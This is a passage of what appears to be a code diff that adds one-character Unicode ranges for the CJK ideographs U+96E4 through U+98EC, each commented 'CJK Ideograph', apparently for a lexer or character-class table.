+ ["\u96E4", "\u96E4"], /* CJK Ideograph */
+ ["\u96E5", "\u96E5"], /* CJK Ideograph */
+ ["\u96E6", "\u96E6"], /* CJK Ideograph */
+ ["\u96E7", "\u96E7"], /* CJK Ideograph */
+ ["\u96E8", "\u96E8"], /* CJK Ideograph */
+ ["\u96E9", "\u96E9"], /* CJK Ideograph */
+ ["\u96EA", "\u96EA"], /* CJK Ideograph */
+ ["\u96EB", "\u96EB"], /* CJK Ideograph */
+ ["\u96EC", "\u96EC"], /* CJK Ideograph */
+ ["\u96ED", "\u96ED"], /* CJK Ideograph */
+ ["\u96EE", "\u96EE"], /* CJK Ideograph */
+ ["\u96EF", "\u96EF"], /* CJK Ideograph */
+ ["\u96F0", "\u96F0"], /* CJK Ideograph */
+ ["\u96F1", "\u96F1"], /* CJK Ideograph */
+ ["\u96F2", "\u96F2"], /* CJK Ideograph */
+ ["\u96F3", "\u96F3"], /* CJK Ideograph */
+ ["\u96F4", "\u96F4"], /* CJK Ideograph */
+ ["\u96F5", "\u96F5"], /* CJK Ideograph */
+ ["\u96F6", "\u96F6"], /* CJK Ideograph */
+ ["\u96F7", "\u96F7"], /* CJK Ideograph */
+ ["\u96F8", "\u96F8"], /* CJK Ideograph */
+ ["\u96F9", "\u96F9"], /* CJK Ideograph */
+ ["\u96FA", "\u96FA"], /* CJK Ideograph */
+ ["\u96FB", "\u96FB"], /* CJK Ideograph */
+ ["\u96FC", "\u96FC"], /* CJK Ideograph */
+ ["\u96FD", "\u96FD"], /* CJK Ideograph */
+ ["\u96FE", "\u96FE"], /* CJK Ideograph */
+ ["\u96FF", "\u96FF"], /* CJK Ideograph */
+ ["\u9700", "\u9700"], /* CJK Ideograph */
+ ["\u9701", "\u9701"], /* CJK Ideograph */
+ ["\u9702", "\u9702"], /* CJK Ideograph */
+ ["\u9703", "\u9703"], /* CJK Ideograph */
+ ["\u9704", "\u9704"], /* CJK Ideograph */
+ ["\u9705", "\u9705"], /* CJK Ideograph */
+ ["\u9706", "\u9706"], /* CJK Ideograph */
+ ["\u9707", "\u9707"], /* CJK Ideograph */
+ ["\u9708", "\u9708"], /* CJK Ideograph */
+ ["\u9709", "\u9709"], /* CJK Ideograph */
+ ["\u970A", "\u970A"], /* CJK Ideograph */
+ ["\u970B", "\u970B"], /* CJK Ideograph */
+ ["\u970C", "\u970C"], /* CJK Ideograph */
+ ["\u970D", "\u970D"], /* CJK Ideograph */
+ ["\u970E", "\u970E"], /* CJK Ideograph */
+ ["\u970F", "\u970F"], /* CJK Ideograph */
+ ["\u9710", "\u9710"], /* CJK Ideograph */
+ ["\u9711", "\u9711"], /* CJK Ideograph */
+ ["\u9712", "\u9712"], /* CJK Ideograph */
+ ["\u9713", "\u9713"], /* CJK Ideograph */
+ ["\u9714", "\u9714"], /* CJK Ideograph */
+ ["\u9715", "\u9715"], /* CJK Ideograph */
+ ["\u9716", "\u9716"], /* CJK Ideograph */
+ ["\u9717", "\u9717"], /* CJK Ideograph */
+ ["\u9718", "\u9718"], /* CJK Ideograph */
+ ["\u9719", "\u9719"], /* CJK Ideograph */
+ ["\u971A", "\u971A"], /* CJK Ideograph */
+ ["\u971B", "\u971B"], /* CJK Ideograph */
+ ["\u971C", "\u971C"], /* CJK Ideograph */
+ ["\u971D", "\u971D"], /* CJK Ideograph */
+ ["\u971E", "\u971E"], /* CJK Ideograph */
+ ["\u971F", "\u971F"], /* CJK Ideograph */
+ ["\u9720", "\u9720"], /* CJK Ideograph */
+ ["\u9721", "\u9721"], /* CJK Ideograph */
+ ["\u9722", "\u9722"], /* CJK Ideograph */
+ ["\u9723", "\u9723"], /* CJK Ideograph */
+ ["\u9724", "\u9724"], /* CJK Ideograph */
+ ["\u9725", "\u9725"], /* CJK Ideograph */
+ ["\u9726", "\u9726"], /* CJK Ideograph */
+ ["\u9727", "\u9727"], /* CJK Ideograph */
+ ["\u9728", "\u9728"], /* CJK Ideograph */
+ ["\u9729", "\u9729"], /* CJK Ideograph */
+ ["\u972A", "\u972A"], /* CJK Ideograph */
+ ["\u972B", "\u972B"], /* CJK Ideograph */
+ ["\u972C", "\u972C"], /* CJK Ideograph */
+ ["\u972D", "\u972D"], /* CJK Ideograph */
+ ["\u972E", "\u972E"], /* CJK Ideograph */
+ ["\u972F", "\u972F"], /* CJK Ideograph */
+ ["\u9730", "\u9730"], /* CJK Ideograph */
+ ["\u9731", "\u9731"], /* CJK Ideograph */
+ ["\u9732", "\u9732"], /* CJK Ideograph */
+ ["\u9733", "\u9733"], /* CJK Ideograph */
+ ["\u9734", "\u9734"], /* CJK Ideograph */
+ ["\u9735", "\u9735"], /* CJK Ideograph */
+ ["\u9736", "\u9736"], /* CJK Ideograph */
+ ["\u9737", "\u9737"], /* CJK Ideograph */
+ ["\u9738", "\u9738"], /* CJK Ideograph */
+ ["\u9739", "\u9739"], /* CJK Ideograph */
+ ["\u973A", "\u973A"], /* CJK Ideograph */
+ ["\u973B", "\u973B"], /* CJK Ideograph */
+ ["\u973C", "\u973C"], /* CJK Ideograph */
+ ["\u973D", "\u973D"], /* CJK Ideograph */
+ ["\u973E", "\u973E"], /* CJK Ideograph */
+ ["\u973F", "\u973F"], /* CJK Ideograph */
+ ["\u9740", "\u9740"], /* CJK Ideograph */
+ ["\u9741", "\u9741"], /* CJK Ideograph */
+ ["\u9742", "\u9742"], /* CJK Ideograph */
+ ["\u9743", "\u9743"], /* CJK Ideograph */
+ ["\u9744", "\u9744"], /* CJK Ideograph */
+ ["\u9745", "\u9745"], /* CJK Ideograph */
+ ["\u9746", "\u9746"], /* CJK Ideograph */
+ ["\u9747", "\u9747"], /* CJK Ideograph */
+ ["\u9748", "\u9748"], /* CJK Ideograph */
+ ["\u9749", "\u9749"], /* CJK Ideograph */
+ ["\u974A", "\u974A"], /* CJK Ideograph */
+ ["\u974B", "\u974B"], /* CJK Ideograph */
+ ["\u974C", "\u974C"], /* CJK Ideograph */
+ ["\u974D", "\u974D"], /* CJK Ideograph */
+ ["\u974E", "\u974E"], /* CJK Ideograph */
+ ["\u974F", "\u974F"], /* CJK Ideograph */
+ ["\u9750", "\u9750"], /* CJK Ideograph */
+ ["\u9751", "\u9751"], /* CJK Ideograph */
+ ["\u9752", "\u9752"], /* CJK Ideograph */
+ ["\u9753", "\u9753"], /* CJK Ideograph */
+ ["\u9754", "\u9754"], /* CJK Ideograph */
+ ["\u9755", "\u9755"], /* CJK Ideograph */
+ ["\u9756", "\u9756"], /* CJK Ideograph */
+ ["\u9757", "\u9757"], /* CJK Ideograph */
+ ["\u9758", "\u9758"], /* CJK Ideograph */
+ ["\u9759", "\u9759"], /* CJK Ideograph */
+ ["\u975A", "\u975A"], /* CJK Ideograph */
+ ["\u975B", "\u975B"], /* CJK Ideograph */
+ ["\u975C", "\u975C"], /* CJK Ideograph */
+ ["\u975D", "\u975D"], /* CJK Ideograph */
+ ["\u975E", "\u975E"], /* CJK Ideograph */
+ ["\u975F", "\u975F"], /* CJK Ideograph */
+ ["\u9760", "\u9760"], /* CJK Ideograph */
+ ["\u9761", "\u9761"], /* CJK Ideograph */
+ ["\u9762", "\u9762"], /* CJK Ideograph */
+ ["\u9763", "\u9763"], /* CJK Ideograph */
+ ["\u9764", "\u9764"], /* CJK Ideograph */
+ ["\u9765", "\u9765"], /* CJK Ideograph */
+ ["\u9766", "\u9766"], /* CJK Ideograph */
+ ["\u9767", "\u9767"], /* CJK Ideograph */
+ ["\u9768", "\u9768"], /* CJK Ideograph */
+ ["\u9769", "\u9769"], /* CJK Ideograph */
+ ["\u976A", "\u976A"], /* CJK Ideograph */
+ ["\u976B", "\u976B"], /* CJK Ideograph */
+ ["\u976C", "\u976C"], /* CJK Ideograph */
+ ["\u976D", "\u976D"], /* CJK Ideograph */
+ ["\u976E", "\u976E"], /* CJK Ideograph */
+ ["\u976F", "\u976F"], /* CJK Ideograph */
+ ["\u9770", "\u9770"], /* CJK Ideograph */
+ ["\u9771", "\u9771"], /* CJK Ideograph */
+ ["\u9772", "\u9772"], /* CJK Ideograph */
+ ["\u9773", "\u9773"], /* CJK Ideograph */
+ ["\u9774", "\u9774"], /* CJK Ideograph */
+ ["\u9775", "\u9775"], /* CJK Ideograph */
+ ["\u9776", "\u9776"], /* CJK Ideograph */
+ ["\u9777", "\u9777"], /* CJK Ideograph */
+ ["\u9778", "\u9778"], /* CJK Ideograph */
+ ["\u9779", "\u9779"], /* CJK Ideograph */
+ ["\u977A", "\u977A"], /* CJK Ideograph */
+ ["\u977B", "\u977B"], /* CJK Ideograph */
+ ["\u977C", "\u977C"], /* CJK Ideograph */
+ ["\u977D", "\u977D"], /* CJK Ideograph */
+ ["\u977E", "\u977E"], /* CJK Ideograph */
+ ["\u977F", "\u977F"], /* CJK Ideograph */
+ ["\u9780", "\u9780"], /* CJK Ideograph */
+ ["\u9781", "\u9781"], /* CJK Ideograph */
+ ["\u9782", "\u9782"], /* CJK Ideograph */
+ ["\u9783", "\u9783"], /* CJK Ideograph */
+ ["\u9784", "\u9784"], /* CJK Ideograph */
+ ["\u9785", "\u9785"], /* CJK Ideograph */
+ ["\u9786", "\u9786"], /* CJK Ideograph */
+ ["\u9787", "\u9787"], /* CJK Ideograph */
+ ["\u9788", "\u9788"], /* CJK Ideograph */
+ ["\u9789", "\u9789"], /* CJK Ideograph */
+ ["\u978A", "\u978A"], /* CJK Ideograph */
+ ["\u978B", "\u978B"], /* CJK Ideograph */
+ ["\u978C", "\u978C"], /* CJK Ideograph */
+ ["\u978D", "\u978D"], /* CJK Ideograph */
+ ["\u978E", "\u978E"], /* CJK Ideograph */
+ ["\u978F", "\u978F"], /* CJK Ideograph */
+ ["\u9790", "\u9790"], /* CJK Ideograph */
+ ["\u9791", "\u9791"], /* CJK Ideograph */
+ ["\u9792", "\u9792"], /* CJK Ideograph */
+ ["\u9793", "\u9793"], /* CJK Ideograph */
+ ["\u9794", "\u9794"], /* CJK Ideograph */
+ ["\u9795", "\u9795"], /* CJK Ideograph */
+ ["\u9796", "\u9796"], /* CJK Ideograph */
+ ["\u9797", "\u9797"], /* CJK Ideograph */
+ ["\u9798", "\u9798"], /* CJK Ideograph */
+ ["\u9799", "\u9799"], /* CJK Ideograph */
+ ["\u979A", "\u979A"], /* CJK Ideograph */
+ ["\u979B", "\u979B"], /* CJK Ideograph */
+ ["\u979C", "\u979C"], /* CJK Ideograph */
+ ["\u979D", "\u979D"], /* CJK Ideograph */
+ ["\u979E", "\u979E"], /* CJK Ideograph */
+ ["\u979F", "\u979F"], /* CJK Ideograph */
+ ["\u97A0", "\u97A0"], /* CJK Ideograph */
+ ["\u97A1", "\u97A1"], /* CJK Ideograph */
+ ["\u97A2", "\u97A2"], /* CJK Ideograph */
+ ["\u97A3", "\u97A3"], /* CJK Ideograph */
+ ["\u97A4", "\u97A4"], /* CJK Ideograph */
+ ["\u97A5", "\u97A5"], /* CJK Ideograph */
+ ["\u97A6", "\u97A6"], /* CJK Ideograph */
+ ["\u97A7", "\u97A7"], /* CJK Ideograph */
+ ["\u97A8", "\u97A8"], /* CJK Ideograph */
+ ["\u97A9", "\u97A9"], /* CJK Ideograph */
+ ["\u97AA", "\u97AA"], /* CJK Ideograph */
+ ["\u97AB", "\u97AB"], /* CJK Ideograph */
+ ["\u97AC", "\u97AC"], /* CJK Ideograph */
+ ["\u97AD", "\u97AD"], /* CJK Ideograph */
+ ["\u97AE", "\u97AE"], /* CJK Ideograph */
+ ["\u97AF", "\u97AF"], /* CJK Ideograph */
+ ["\u97B0", "\u97B0"], /* CJK Ideograph */
+ ["\u97B1", "\u97B1"], /* CJK Ideograph */
+ ["\u97B2", "\u97B2"], /* CJK Ideograph */
+ ["\u97B3", "\u97B3"], /* CJK Ideograph */
+ ["\u97B4", "\u97B4"], /* CJK Ideograph */
+ ["\u97B5", "\u97B5"], /* CJK Ideograph */
+ ["\u97B6", "\u97B6"], /* CJK Ideograph */
+ ["\u97B7", "\u97B7"], /* CJK Ideograph */
+ ["\u97B8", "\u97B8"], /* CJK Ideograph */
+ ["\u97B9", "\u97B9"], /* CJK Ideograph */
+ ["\u97BA", "\u97BA"], /* CJK Ideograph */
+ ["\u97BB", "\u97BB"], /* CJK Ideograph */
+ ["\u97BC", "\u97BC"], /* CJK Ideograph */
+ ["\u97BD", "\u97BD"], /* CJK Ideograph */
+ ["\u97BE", "\u97BE"], /* CJK Ideograph */
+ ["\u97BF", "\u97BF"], /* CJK Ideograph */
+ ["\u97C0", "\u97C0"], /* CJK Ideograph */
+ ["\u97C1", "\u97C1"], /* CJK Ideograph */
+ ["\u97C2", "\u97C2"], /* CJK Ideograph */
+ ["\u97C3", "\u97C3"], /* CJK Ideograph */
+ ["\u97C4", "\u97C4"], /* CJK Ideograph */
+ ["\u97C5", "\u97C5"], /* CJK Ideograph */
+ ["\u97C6", "\u97C6"], /* CJK Ideograph */
+ ["\u97C7", "\u97C7"], /* CJK Ideograph */
+ ["\u97C8", "\u97C8"], /* CJK Ideograph */
+ ["\u97C9", "\u97C9"], /* CJK Ideograph */
+ ["\u97CA", "\u97CA"], /* CJK Ideograph */
+ ["\u97CB", "\u97CB"], /* CJK Ideograph */
+ ["\u97CC", "\u97CC"], /* CJK Ideograph */
+ ["\u97CD", "\u97CD"], /* CJK Ideograph */
+ ["\u97CE", "\u97CE"], /* CJK Ideograph */
+ ["\u97CF", "\u97CF"], /* CJK Ideograph */
+ ["\u97D0", "\u97D0"], /* CJK Ideograph */
+ ["\u97D1", "\u97D1"], /* CJK Ideograph */
+ ["\u97D2", "\u97D2"], /* CJK Ideograph */
+ ["\u97D3", "\u97D3"], /* CJK Ideograph */
+ ["\u97D4", "\u97D4"], /* CJK Ideograph */
+ ["\u97D5", "\u97D5"], /* CJK Ideograph */
+ ["\u97D6", "\u97D6"], /* CJK Ideograph */
+ ["\u97D7", "\u97D7"], /* CJK Ideograph */
+ ["\u97D8", "\u97D8"], /* CJK Ideograph */
+ ["\u97D9", "\u97D9"], /* CJK Ideograph */
+ ["\u97DA", "\u97DA"], /* CJK Ideograph */
+ ["\u97DB", "\u97DB"], /* CJK Ideograph */
+ ["\u97DC", "\u97DC"], /* CJK Ideograph */
+ ["\u97DD", "\u97DD"], /* CJK Ideograph */
+ ["\u97DE", "\u97DE"], /* CJK Ideograph */
+ ["\u97DF", "\u97DF"], /* CJK Ideograph */
+ ["\u97E0", "\u97E0"], /* CJK Ideograph */
+ ["\u97E1", "\u97E1"], /* CJK Ideograph */
+ ["\u97E2", "\u97E2"], /* CJK Ideograph */
+ ["\u97E3", "\u97E3"], /* CJK Ideograph */
+ ["\u97E4", "\u97E4"], /* CJK Ideograph */
+ ["\u97E5", "\u97E5"], /* CJK Ideograph */
+ ["\u97E6", "\u97E6"], /* CJK Ideograph */
+ ["\u97E7", "\u97E7"], /* CJK Ideograph */
+ ["\u97E8", "\u97E8"], /* CJK Ideograph */
+ ["\u97E9", "\u97E9"], /* CJK Ideograph */
+ ["\u97EA", "\u97EA"], /* CJK Ideograph */
+ ["\u97EB", "\u97EB"], /* CJK Ideograph */
+ ["\u97EC", "\u97EC"], /* CJK Ideograph */
+ ["\u97ED", "\u97ED"], /* CJK Ideograph */
+ ["\u97EE", "\u97EE"], /* CJK Ideograph */
+ ["\u97EF", "\u97EF"], /* CJK Ideograph */
+ ["\u97F0", "\u97F0"], /* CJK Ideograph */
+ ["\u97F1", "\u97F1"], /* CJK Ideograph */
+ ["\u97F2", "\u97F2"], /* CJK Ideograph */
+ ["\u97F3", "\u97F3"], /* CJK Ideograph */
+ ["\u97F4", "\u97F4"], /* CJK Ideograph */
+ ["\u97F5", "\u97F5"], /* CJK Ideograph */
+ ["\u97F6", "\u97F6"], /* CJK Ideograph */
+ ["\u97F7", "\u97F7"], /* CJK Ideograph */
+ ["\u97F8", "\u97F8"], /* CJK Ideograph */
+ ["\u97F9", "\u97F9"], /* CJK Ideograph */
+ ["\u97FA", "\u97FA"], /* CJK Ideograph */
+ ["\u97FB", "\u97FB"], /* CJK Ideograph */
+ ["\u97FC", "\u97FC"], /* CJK Ideograph */
+ ["\u97FD", "\u97FD"], /* CJK Ideograph */
+ ["\u97FE", "\u97FE"], /* CJK Ideograph */
+ ["\u97FF", "\u97FF"], /* CJK Ideograph */
+ ["\u9800", "\u9800"], /* CJK Ideograph */
+ ["\u9801", "\u9801"], /* CJK Ideograph */
+ ["\u9802", "\u9802"], /* CJK Ideograph */
+ ["\u9803", "\u9803"], /* CJK Ideograph */
+ ["\u9804", "\u9804"], /* CJK Ideograph */
+ ["\u9805", "\u9805"], /* CJK Ideograph */
+ ["\u9806", "\u9806"], /* CJK Ideograph */
+ ["\u9807", "\u9807"], /* CJK Ideograph */
+ ["\u9808", "\u9808"], /* CJK Ideograph */
+ ["\u9809", "\u9809"], /* CJK Ideograph */
+ ["\u980A", "\u980A"], /* CJK Ideograph */
+ ["\u980B", "\u980B"], /* CJK Ideograph */
+ ["\u980C", "\u980C"], /* CJK Ideograph */
+ ["\u980D", "\u980D"], /* CJK Ideograph */
+ ["\u980E", "\u980E"], /* CJK Ideograph */
+ ["\u980F", "\u980F"], /* CJK Ideograph */
+ ["\u9810", "\u9810"], /* CJK Ideograph */
+ ["\u9811", "\u9811"], /* CJK Ideograph */
+ ["\u9812", "\u9812"], /* CJK Ideograph */
+ ["\u9813", "\u9813"], /* CJK Ideograph */
+ ["\u9814", "\u9814"], /* CJK Ideograph */
+ ["\u9815", "\u9815"], /* CJK Ideograph */
+ ["\u9816", "\u9816"], /* CJK Ideograph */
+ ["\u9817", "\u9817"], /* CJK Ideograph */
+ ["\u9818", "\u9818"], /* CJK Ideograph */
+ ["\u9819", "\u9819"], /* CJK Ideograph */
+ ["\u981A", "\u981A"], /* CJK Ideograph */
+ ["\u981B", "\u981B"], /* CJK Ideograph */
+ ["\u981C", "\u981C"], /* CJK Ideograph */
+ ["\u981D", "\u981D"], /* CJK Ideograph */
+ ["\u981E", "\u981E"], /* CJK Ideograph */
+ ["\u981F", "\u981F"], /* CJK Ideograph */
+ ["\u9820", "\u9820"], /* CJK Ideograph */
+ ["\u9821", "\u9821"], /* CJK Ideograph */
+ ["\u9822", "\u9822"], /* CJK Ideograph */
+ ["\u9823", "\u9823"], /* CJK Ideograph */
+ ["\u9824", "\u9824"], /* CJK Ideograph */
+ ["\u9825", "\u9825"], /* CJK Ideograph */
+ ["\u9826", "\u9826"], /* CJK Ideograph */
+ ["\u9827", "\u9827"], /* CJK Ideograph */
+ ["\u9828", "\u9828"], /* CJK Ideograph */
+ ["\u9829", "\u9829"], /* CJK Ideograph */
+ ["\u982A", "\u982A"], /* CJK Ideograph */
+ ["\u982B", "\u982B"], /* CJK Ideograph */
+ ["\u982C", "\u982C"], /* CJK Ideograph */
+ ["\u982D", "\u982D"], /* CJK Ideograph */
+ ["\u982E", "\u982E"], /* CJK Ideograph */
+ ["\u982F", "\u982F"], /* CJK Ideograph */
+ ["\u9830", "\u9830"], /* CJK Ideograph */
+ ["\u9831", "\u9831"], /* CJK Ideograph */
+ ["\u9832", "\u9832"], /* CJK Ideograph */
+ ["\u9833", "\u9833"], /* CJK Ideograph */
+ ["\u9834", "\u9834"], /* CJK Ideograph */
+ ["\u9835", "\u9835"], /* CJK Ideograph */
+ ["\u9836", "\u9836"], /* CJK Ideograph */
+ ["\u9837", "\u9837"], /* CJK Ideograph */
+ ["\u9838", "\u9838"], /* CJK Ideograph */
+ ["\u9839", "\u9839"], /* CJK Ideograph */
+ ["\u983A", "\u983A"], /* CJK Ideograph */
+ ["\u983B", "\u983B"], /* CJK Ideograph */
+ ["\u983C", "\u983C"], /* CJK Ideograph */
+ ["\u983D", "\u983D"], /* CJK Ideograph */
+ ["\u983E", "\u983E"], /* CJK Ideograph */
+ ["\u983F", "\u983F"], /* CJK Ideograph */
+ ["\u9840", "\u9840"], /* CJK Ideograph */
+ ["\u9841", "\u9841"], /* CJK Ideograph */
+ ["\u9842", "\u9842"], /* CJK Ideograph */
+ ["\u9843", "\u9843"], /* CJK Ideograph */
+ ["\u9844", "\u9844"], /* CJK Ideograph */
+ ["\u9845", "\u9845"], /* CJK Ideograph */
+ ["\u9846", "\u9846"], /* CJK Ideograph */
+ ["\u9847", "\u9847"], /* CJK Ideograph */
+ ["\u9848", "\u9848"], /* CJK Ideograph */
+ ["\u9849", "\u9849"], /* CJK Ideograph */
+ ["\u984A", "\u984A"], /* CJK Ideograph */
+ ["\u984B", "\u984B"], /* CJK Ideograph */
+ ["\u984C", "\u984C"], /* CJK Ideograph */
+ ["\u984D", "\u984D"], /* CJK Ideograph */
+ ["\u984E", "\u984E"], /* CJK Ideograph */
+ ["\u984F", "\u984F"], /* CJK Ideograph */
+ ["\u9850", "\u9850"], /* CJK Ideograph */
+ ["\u9851", "\u9851"], /* CJK Ideograph */
+ ["\u9852", "\u9852"], /* CJK Ideograph */
+ ["\u9853", "\u9853"], /* CJK Ideograph */
+ ["\u9854", "\u9854"], /* CJK Ideograph */
+ ["\u9855", "\u9855"], /* CJK Ideograph */
+ ["\u9856", "\u9856"], /* CJK Ideograph */
+ ["\u9857", "\u9857"], /* CJK Ideograph */
+ ["\u9858", "\u9858"], /* CJK Ideograph */
+ ["\u9859", "\u9859"], /* CJK Ideograph */
+ ["\u985A", "\u985A"], /* CJK Ideograph */
+ ["\u985B", "\u985B"], /* CJK Ideograph */
+ ["\u985C", "\u985C"], /* CJK Ideograph */
+ ["\u985D", "\u985D"], /* CJK Ideograph */
+ ["\u985E", "\u985E"], /* CJK Ideograph */
+ ["\u985F", "\u985F"], /* CJK Ideograph */
+ ["\u9860", "\u9860"], /* CJK Ideograph */
+ ["\u9861", "\u9861"], /* CJK Ideograph */
+ ["\u9862", "\u9862"], /* CJK Ideograph */
+ ["\u9863", "\u9863"], /* CJK Ideograph */
+ ["\u9864", "\u9864"], /* CJK Ideograph */
+ ["\u9865", "\u9865"], /* CJK Ideograph */
+ ["\u9866", "\u9866"], /* CJK Ideograph */
+ ["\u9867", "\u9867"], /* CJK Ideograph */
+ ["\u9868", "\u9868"], /* CJK Ideograph */
+ ["\u9869", "\u9869"], /* CJK Ideograph */
+ ["\u986A", "\u986A"], /* CJK Ideograph */
+ ["\u986B", "\u986B"], /* CJK Ideograph */
+ ["\u986C", "\u986C"], /* CJK Ideograph */
+ ["\u986D", "\u986D"], /* CJK Ideograph */
+ ["\u986E", "\u986E"], /* CJK Ideograph */
+ ["\u986F", "\u986F"], /* CJK Ideograph */
+ ["\u9870", "\u9870"], /* CJK Ideograph */
+ ["\u9871", "\u9871"], /* CJK Ideograph */
+ ["\u9872", "\u9872"], /* CJK Ideograph */
+ ["\u9873", "\u9873"], /* CJK Ideograph */
+ ["\u9874", "\u9874"], /* CJK Ideograph */
+ ["\u9875", "\u9875"], /* CJK Ideograph */
+ ["\u9876", "\u9876"], /* CJK Ideograph */
+ ["\u9877", "\u9877"], /* CJK Ideograph */
+ ["\u9878", "\u9878"], /* CJK Ideograph */
+ ["\u9879", "\u9879"], /* CJK Ideograph */
+ ["\u987A", "\u987A"], /* CJK Ideograph */
+ ["\u987B", "\u987B"], /* CJK Ideograph */
+ ["\u987C", "\u987C"], /* CJK Ideograph */
+ ["\u987D", "\u987D"], /* CJK Ideograph */
+ ["\u987E", "\u987E"], /* CJK Ideograph */
+ ["\u987F", "\u987F"], /* CJK Ideograph */
+ ["\u9880", "\u9880"], /* CJK Ideograph */
+ ["\u9881", "\u9881"], /* CJK Ideograph */
+ ["\u9882", "\u9882"], /* CJK Ideograph */
+ ["\u9883", "\u9883"], /* CJK Ideograph */
+ ["\u9884", "\u9884"], /* CJK Ideograph */
+ ["\u9885", "\u9885"], /* CJK Ideograph */
+ ["\u9886", "\u9886"], /* CJK Ideograph */
+ ["\u9887", "\u9887"], /* CJK Ideograph */
+ ["\u9888", "\u9888"], /* CJK Ideograph */
+ ["\u9889", "\u9889"], /* CJK Ideograph */
+ ["\u988A", "\u988A"], /* CJK Ideograph */
+ ["\u988B", "\u988B"], /* CJK Ideograph */
+ ["\u988C", "\u988C"], /* CJK Ideograph */
+ ["\u988D", "\u988D"], /* CJK Ideograph */
+ ["\u988E", "\u988E"], /* CJK Ideograph */
+ ["\u988F", "\u988F"], /* CJK Ideograph */
+ ["\u9890", "\u9890"], /* CJK Ideograph */
+ ["\u9891", "\u9891"], /* CJK Ideograph */
+ ["\u9892", "\u9892"], /* CJK Ideograph */
+ ["\u9893", "\u9893"], /* CJK Ideograph */
+ ["\u9894", "\u9894"], /* CJK Ideograph */
+ ["\u9895", "\u9895"], /* CJK Ideograph */
+ ["\u9896", "\u9896"], /* CJK Ideograph */
+ ["\u9897", "\u9897"], /* CJK Ideograph */
+ ["\u9898", "\u9898"], /* CJK Ideograph */
+ ["\u9899", "\u9899"], /* CJK Ideograph */
+ ["\u989A", "\u989A"], /* CJK Ideograph */
+ ["\u989B", "\u989B"], /* CJK Ideograph */
+ ["\u989C", "\u989C"], /* CJK Ideograph */
+ ["\u989D", "\u989D"], /* CJK Ideograph */
+ ["\u989E", "\u989E"], /* CJK Ideograph */
+ ["\u989F", "\u989F"], /* CJK Ideograph */
+ ["\u98A0", "\u98A0"], /* CJK Ideograph */
+ ["\u98A1", "\u98A1"], /* CJK Ideograph */
+ ["\u98A2", "\u98A2"], /* CJK Ideograph */
+ ["\u98A3", "\u98A3"], /* CJK Ideograph */
+ ["\u98A4", "\u98A4"], /* CJK Ideograph */
+ ["\u98A5", "\u98A5"], /* CJK Ideograph */
+ ["\u98A6", "\u98A6"], /* CJK Ideograph */
+ ["\u98A7", "\u98A7"], /* CJK Ideograph */
+ ["\u98A8", "\u98A8"], /* CJK Ideograph */
+ ["\u98A9", "\u98A9"], /* CJK Ideograph */
+ ["\u98AA", "\u98AA"], /* CJK Ideograph */
+ ["\u98AB", "\u98AB"], /* CJK Ideograph */
+ ["\u98AC", "\u98AC"], /* CJK Ideograph */
+ ["\u98AD", "\u98AD"], /* CJK Ideograph */
+ ["\u98AE", "\u98AE"], /* CJK Ideograph */
+ ["\u98AF", "\u98AF"], /* CJK Ideograph */
+ ["\u98B0", "\u98B0"], /* CJK Ideograph */
+ ["\u98B1", "\u98B1"], /* CJK Ideograph */
+ ["\u98B2", "\u98B2"], /* CJK Ideograph */
+ ["\u98B3", "\u98B3"], /* CJK Ideograph */
+ ["\u98B4", "\u98B4"], /* CJK Ideograph */
+ ["\u98B5", "\u98B5"], /* CJK Ideograph */
+ ["\u98B6", "\u98B6"], /* CJK Ideograph */
+ ["\u98B7", "\u98B7"], /* CJK Ideograph */
+ ["\u98B8", "\u98B8"], /* CJK Ideograph */
+ ["\u98B9", "\u98B9"], /* CJK Ideograph */
+ ["\u98BA", "\u98BA"], /* CJK Ideograph */
+ ["\u98BB", "\u98BB"], /* CJK Ideograph */
+ ["\u98BC", "\u98BC"], /* CJK Ideograph */
+ ["\u98BD", "\u98BD"], /* CJK Ideograph */
+ ["\u98BE", "\u98BE"], /* CJK Ideograph */
+ ["\u98BF", "\u98BF"], /* CJK Ideograph */
+ ["\u98C0", "\u98C0"], /* CJK Ideograph */
+ ["\u98C1", "\u98C1"], /* CJK Ideograph */
+ ["\u98C2", "\u98C2"], /* CJK Ideograph */
+ ["\u98C3", "\u98C3"], /* CJK Ideograph */
+ ["\u98C4", "\u98C4"], /* CJK Ideograph */
+ ["\u98C5", "\u98C5"], /* CJK Ideograph */
+ ["\u98C6", "\u98C6"], /* CJK Ideograph */
+ ["\u98C7", "\u98C7"], /* CJK Ideograph */
+ ["\u98C8", "\u98C8"], /* CJK Ideograph */
+ ["\u98C9", "\u98C9"], /* CJK Ideograph */
+ ["\u98CA", "\u98CA"], /* CJK Ideograph */
+ ["\u98CB", "\u98CB"], /* CJK Ideograph */
+ ["\u98CC", "\u98CC"], /* CJK Ideograph */
+ ["\u98CD", "\u98CD"], /* CJK Ideograph */
+ ["\u98CE", "\u98CE"], /* CJK Ideograph */
+ ["\u98CF", "\u98CF"], /* CJK Ideograph */
+ ["\u98D0", "\u98D0"], /* CJK Ideograph */
+ ["\u98D1", "\u98D1"], /* CJK Ideograph */
+ ["\u98D2", "\u98D2"], /* CJK Ideograph */
+ ["\u98D3", "\u98D3"], /* CJK Ideograph */
+ ["\u98D4", "\u98D4"], /* CJK Ideograph */
+ ["\u98D5", "\u98D5"], /* CJK Ideograph */
+ ["\u98D6", "\u98D6"], /* CJK Ideograph */
+ ["\u98D7", "\u98D7"], /* CJK Ideograph */
+ ["\u98D8", "\u98D8"], /* CJK Ideograph */
+ ["\u98D9", "\u98D9"], /* CJK Ideograph */
+ ["\u98DA", "\u98DA"], /* CJK Ideograph */
+ ["\u98DB", "\u98DB"], /* CJK Ideograph */
+ ["\u98DC", "\u98DC"], /* CJK Ideograph */
+ ["\u98DD", "\u98DD"], /* CJK Ideograph */
+ ["\u98DE", "\u98DE"], /* CJK Ideograph */
+ ["\u98DF", "\u98DF"], /* CJK Ideograph */
+ ["\u98E0", "\u98E0"], /* CJK Ideograph */
+ ["\u98E1", "\u98E1"], /* CJK Ideograph */
+ ["\u98E2", "\u98E2"], /* CJK Ideograph */
+ ["\u98E3", "\u98E3"], /* CJK Ideograph */
+ ["\u98E4", "\u98E4"], /* CJK Ideograph */
+ ["\u98E5", "\u98E5"], /* CJK Ideograph */
+ ["\u98E6", "\u98E6"], /* CJK Ideograph */
+ ["\u98E7", "\u98E7"], /* CJK Ideograph */
+ ["\u98E8", "\u98E8"], /* CJK Ideograph */
+ ["\u98E9", "\u98E9"], /* CJK Ideograph */
+ ["\u98EA", "\u98EA"], /* CJK Ideograph */
+ ["\u98EB", "\u98EB"], /* CJK Ideograph */
+ ["\u98EC", "\u98EC"], /* CJK Ideograph */
